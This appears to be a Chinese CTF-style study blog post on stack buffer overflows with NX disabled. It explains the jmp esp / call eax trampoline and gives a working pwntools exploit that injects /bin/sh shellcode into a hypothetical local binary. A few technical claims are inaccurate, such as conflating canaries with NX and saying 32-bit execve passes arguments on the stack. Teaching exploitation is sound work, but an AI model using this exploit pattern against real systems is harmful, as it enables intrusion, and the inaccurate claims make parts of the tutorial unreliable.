【学习记录】Week3(二):栈上狂欢——Shellcode 注入与 jmp esp/call eax 跳转实战 📅 2026/6/30 23:46:35 写在前面在上一篇中我们通过ret2win成功跳进了程序自带的现成后门。但如果程序里没有后门函数呢这时候我们就必须“自带干粮”——把一段机器码Shellcode注入到程序的内存中然后想方设法让 EIP/RIP 跳过去执行它。本文将带你解开 NX 保护关闭时的栈上 Shellcode 注入之谜并深入讲解最经典的jmp esp跳转技术。 目录前提条件什么时候能打 Shellcode核心痛点栈地址随机化ASLR带来的跳转困境破局之法jmp esp / call eax 类跳转指令实战推演32 位下的 jmp esp 注入全流程64 位下的演变jmp rsp 与寄存器传参1. 前提条件什么时候能打 Shellcode打栈上 Shellcode 的唯一硬性前提是NX不可执行保护必须关闭。当checksec查出程序具有NX disabled或栈溢出保护未开启时意味着内存页的权限是rwx可读可写可执行。我们写入栈中的机器码CPU 可以直接将其作为指令执行。如果 NX 开启栈是rw-你写进去一执行就会触发段错误。2. 核心痛点栈地址随机化ASLR带来的跳转困境假设 NX 关闭我们通过溢出把 Shellcode 放在了栈上的buf数组里。现在的问题是如何让 EIP 指向它最直观的想法是用 GDB 查到buf的栈地址比如0xffffcd40然后把它作为返回地址覆盖上去。痛点所在一旦系统开启了 ASLR栈的基址每次运行都在变。你在 GDB 里查到的0xffffcd40在真实运行时可能变成了0xffffd1a0。硬编码栈地址大概率会跳转到非法内存导致崩溃。3. 破局之法jmp esp / call eax 类跳转指令既然硬编码地址不行我们需要一种动态定位的方法。此时我们要观察ret指令执行前后的寄存器状态。32 位系统中的奇妙现象当函数执行ret指令时等价于pop eip。ESP栈顶指针原本指向被覆盖的返回地址。CPU 把这个返回地址弹入EIP同时ESP ESP 4。此时ESP恰好指向了返回地址正后方的内存如果我们把 Shellcode 放在返回地址的后面并且让返回地址指向一条jmp esp的机器码。那么ret执行完毕后EIP跳到了jmp esp紧接着 CPU 就会执行ESP指向的内存——也就是我们的 Shellcode如何找jmp espjmp esp的机器码是\xff\xe4。我们可以在程序自身或它加载的动态库如libc中搜索这两个字节。假设性说明模拟命令行查找使用 pwntools 或 ROPgadget 搜索ROPgadget --binary vuln --only jmp|call | grep esp模拟输出0x0804854b : jmp esp太好了我们找到了一个固定地址0x0804854b。即使有 ASLR程序自身的代码段除非开了 PIE地址也是固定的。同理如果是call eax机器码\xff\xd0通常是因为eax寄存器恰好存放了 Shellcode 的地址原理同上。4. 实战推演32 位下的 jmp esp 注入全流程假设性场景32 位程序vulnNX 关闭未开启 PIE。偏移量为 28。存在jmp esp地址0x0804854b。栈结构设计低地址 | buf[28] (28字节填充) | | 0x0804854b (jmp esp) | - 覆盖的返回地址 | Shellcode (/exec/sh) | - ESP 此时指向这里jmp esp 后开始执行 高地址编写 Exploit (Pwntools)from pwn import * context.arch i386 # 32位环境 context.log_level debug p process(./vuln) # 1. 准备填充和 jmp esp 地址 offset 28 jmp_esp_addr 0x0804854b # 2. 生成 shellcode (pwntools自带) # shellcraft.sh() 会生成一段调用 /bin/sh 的汇编机器码 shellcode asm(shellcraft.sh()) # 3. 构造 Payload # 结构填充 jmp_esp地址 shellcode payload bA * offset p32(jmp_esp_addr) shellcode p.sendline(payload) p.interactive()模拟终端输出[] Starting local process ./vuln: pid 54321 [*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user)成功执行我们不再关心 Shellcode 的绝对地址是多少全靠ESP寄存器这个“向导”带我们找到它。5. 64 位下的演变jmp rsp 与寄存器传参在 64 位系统中原理完全一致只是寄存器名字变了ESP变成了RSP我们需要找的是jmp rsp机器码\xff\xe4和jmp esp机器码一样。但是 64 位有一个致命坑点传参方式的改变。32 位的shellcraft.sh()是通过栈传参调用execve。而 64 位必须通过寄存器传参rdi,rsi,rdx。如果你直接用 64 位的shellcraft.sh()它生成的汇编代码中可能会包含\x00等坏字符因为 64 位地址前导零很多或者因为没有正确设置寄存器而崩溃。因此在 64 位下进行纯 Shellcode 注入时通常需要寻找jmp rspgadget。手写或调整一段无坏字符的 Shellcode确保rdi指向/bin/shrsi和rdx置 0然后调用syscall。这部分内容我们将在下一篇“手写基础 Shellcode”中详细拆解。6. 总结jmp esp或jmp rsp是栈溢出 Shellcode 注入中最经典、最优雅的手法。它巧妙利用了ret指令执行后栈指针的天然位置完美绕过了栈地址随机化ASLR的阻碍。只要能在没开 PIE 的程序里找到这宝贵的两个字节一段 Shellcode 就能瞬间苏醒。下一篇我们将深入底层教你如何从零手写一段极简的 x86/x64 Shellcode彻底告别对工具自动生成的依赖。如果本文对你有帮助请点赞收藏支持